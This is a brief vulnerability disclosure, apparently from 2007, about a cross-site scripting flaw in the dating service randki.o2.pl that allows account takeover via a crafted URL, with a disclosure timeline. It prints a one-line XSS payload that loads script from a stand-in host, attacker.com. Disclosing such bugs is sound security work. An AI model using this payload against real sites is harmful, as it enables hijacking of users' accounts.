The sent data:
"><script/XSS SRC=http://attacker.com/xss.js></SCRIPT>
That is a possibility to take over an user account from the date service at http://randki.o2.pl when the logged user would click at specially crafted URL.
Timeline:
2007.03.04 bug discovered
2007.03.05 "/" bug sent via http://kontakt.o2.pl/